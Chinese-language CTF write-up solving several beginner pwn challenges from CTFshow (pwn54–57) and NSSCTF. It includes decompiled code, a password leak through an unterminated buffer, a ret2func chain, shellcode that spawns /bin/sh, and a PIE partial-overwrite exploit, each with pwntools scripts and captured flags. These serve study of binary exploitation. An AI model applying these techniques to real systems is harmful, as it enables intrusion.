pwn54
32位程序
分析主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [esp+0h] [ebp-1A0h] BYREF
char v5[256]; // [esp+40h] [ebp-160h] BYREF
char s[64]; // [esp+140h] [ebp-60h] BYREF
FILE *stream; // [esp+180h] [ebp-20h]
char *v8; // [esp+184h] [ebp-1Ch]
int *p_argc; // [esp+194h] [ebp-Ch]
p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
memset(s, 0, sizeof(s));
memset(v5, 0, sizeof(v5));
memset(s1, 0, sizeof(s1));
puts("==========CTFshow-LOGIN==========");
puts("Input your Username:");
fgets(v5, 256, stdin);
v8 = strchr(v5, 10);
if ( v8 )
*v8 = 0;
strcat(v5, ",\nInput your Password.");
stream = fopen("/password.txt", "r");
if ( !stream )
{
puts("/password.txt: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("Welcome ");
puts(v5);
fgets(s1, 64, stdin);
v5[0] = 0;
if ( !strcmp(s1, s) )
{
puts("Welcome! Here's what you want:");
flag();
}
else
{
puts("You has been banned!");
}
return 0;
}
简单分析函数逻辑
交互效果就是用户首先输入username,username依靠fgets函数获取,fgets函数的好处就在于会限制读取字节数,避免了普通gets函数存在的栈溢出风险
但是这里username的储存长度设置为256字节,并将其存储于变量V5
然后立马接了一个puts函数
puts函数的特性就是在/x00之前不会停止输出
这里就和前面的变量V5有了一定关联
变量V5存储的位置为:0x0000000000000160
而后续的密码存储于变量s
而s的位置是:0x0000000000000060
二者刚好相差0x100
而这刚好就是256字节
所以一旦在输入一个长度为256字节的username后,puts函数会输出一个welcome后接上刚刚的username,但如果username里面没空格符和换行符的话,puts函数将按照位置继续输出,而256字节后,刚好就是密码所在的字段
所以当输入一个长度为256字节的username时,它的欢迎内容会在后面多跟一段密码
那么exp就很明显了
from pwn import *
p=remote("pwn.challenge.ctf.show",28141)
payload = b'a'*256
p.sendline(payload)
p.interactive()
交互结果:
D:\python\pythonProject\.venv\Scripts\python.exe D:\python\pythonProject\pwn54.py
[x] Opening connection to pwn.challenge.ctf.show on port 28141
[x] Opening connection to pwn.challenge.ctf.show on port 28141: Trying 124.223.158.81
[+] Opening connection to pwn.challenge.ctf.show on port 28141: Done
[*] Switching to interactive mode
==========CTFshow-LOGIN==========
Input your Username:
Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3
You has been banned!
[*] Got EOF while reading in interactive
这里的CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3就是最终的用户密码
于是再一次进行交互
C:\Users\26597>nc pwn.challenge.ctf.show 28141
==========CTFshow-LOGIN==========
Input your Username:
a
Welcome a,
Input your Password.
CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3
Welcome! Here's what you want:
ctfshow{cf69bbb6-bc1f-48d4-9a0f-d9595a477f27}
pwn55
checksec
32位
[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\pwn55'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
IDA分析
主函数没东西
进ctfshow函数
里面还是没啥东西
就明摆着一个gets函数栈溢出
看函数列表
存在几个很明显提示的函数
flag_func1,flag_func2,flag三个函数
一一查看
flag_func1:
Elf32_Dyn **flag_func1()
{
Elf32_Dyn **result; // eax
result = &GLOBAL_OFFSET_TABLE_;
flag1 = 1;
return result;
}
flag_func2:
Elf32_Dyn **__cdecl flag_func2(int a1)
{
Elf32_Dyn **result; // eax
result = &GLOBAL_OFFSET_TABLE_;
if ( flag1 && a1 == -1397969748 )
{
flag2 = 1;
}
else if ( flag1 )
{
return (Elf32_Dyn **)puts("Try Again.");
}
else
{
return (Elf32_Dyn **)puts("Try a little bit.");
}
return result;
}
flag:
int __cdecl flag(int a1)
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 48, stream);
if ( flag1 && flag2 && a1 == -1111638595 )
return printf("%s", s);
if ( flag1 && flag2 )
return puts("Incorrect Argument.");
if ( flag1 || flag2 )
return puts("Nice Try!");
return puts("Flag is not here!");
}
初略审计,大意就是func1调用,flag1就等于1了,也就为真了
调用func2,此时会检查flag1是否为真,并检查a1是否为对应值
调用flag,此时会检查flag1,flag2是否为真,并检查a1是否为对应值
初略理解至此即可
记录三函数地址,打平字节
payload = flat([b'a'*(0x2c+4),flag1,flag2,flag,-1397969748,-1111638595])
完整exp:
from pwn import *
p = remote("pwn.challenge.ctf.show",28301)
flag1 = 0x08048586
flag2 = 0x0804859D
flag = 0x08048606
payload = flat([b'a'*(0x2c+4),flag1,flag2,flag,-1397969748,-1111638595])
p.sendline(payload)
p.interactive()
D:\python\pythonProject\.venv\Scripts\python.exe D:\python\pythonProject\pwn55.py
[x] Opening connection to pwn.challenge.ctf.show on port 28301
[x] Opening connection to pwn.challenge.ctf.show on port 28301: Trying 124.223.158.81
[+] Opening connection to pwn.challenge.ctf.show on port 28301: Done
[*] Switching to interactive mode
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Try to find the relationship between flags!
* *************************************
How to find flag?
Input your flag: ctfshow{3a9e5798-5ee2-4802-909d-42fb5ab55206}
[*] Got EOF while reading in interactive
pwn56
[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\pwn56'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Stripped: No
IDA分析
就一个函数
void __noreturn start()
{
int v0; // eax
char v1[10]; // [esp-Ch] [ebp-Ch] BYREF
__int16 v2; // [esp-2h] [ebp-2h]
v2 = 0;
strcpy(v1, "/bin///sh");
v0 = sys_execve(v1, 0, 0);
}
shellcode说是
实际上shell直接就给了
连上就送了属于是
pwn57
同上,连上就送,这两题的主要目的还是认识shellcode
Welcome come to the world of PWN
这题可以和ACECTF中的PIE进行联动
ACECTF中的就是一个先导题
很遗憾没能第一时间意识到这俩实际上是一个考点
checksec
[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\GHpwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
IDA打开
反编译结果很明显
main函数就执行两个主要函数
输出函数没什么好说的
全是put输出
func1函数里面存在很明显的栈溢出漏洞
ssize_t func1()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x40uLL);
}
很简单的栈溢出
看函数还能发现存在backdoor函数
直接给了
int backdoor()
{
return system("/bin/sh");
}
很明显了
一般情况就是溢出字符加后门函数地址就好了
但是存在PIE保护
PIE保护的效果是什么
参考ACECTF中PIE题目
PIE的存在让我们拿不到远程交互的函数实际地址,就没法完成提权操作
而内存分页机制存在问题:程序地址最后 3
个 16
进制位是不会改变的
这个地方可参考ACECTF,ACECTF对此做了很不错的引导
那倒回此处
溢出拿到
已知因为内存分页机制,程序地址后三位不变
而关键的backdoor函数地址
.text:00000000000009C1 ; int backdoor()
.text:00000000000009C1 public backdoor
.text:00000000000009C1 backdoor proc near
.text:00000000000009C1 ; __unwind {
.text:00000000000009C1 push rbp
.text:00000000000009C2 mov rbp, rsp
.text:00000000000009C5 lea rdi, command ; "/bin/sh"
.text:00000000000009CC call _system
.text:00000000000009D1 nop
.text:00000000000009D2 pop rbp
.text:00000000000009D3 retn
.text:00000000000009D3 ; } // starts at 9C1
.text:00000000000009D3 backdoor endp
为了能够使用p8方法,我们采用后两位,若采用后三位则会使p8方法报错
不知道是不是PIE都默认使用p8方法,日后再进行验证
exp:
from pwn import *
p = remote('node6.anna.nssctf.cn',22606)
payload = b'a'*0x28 + p8(0xC5)
p.send(payload)
p.interactive()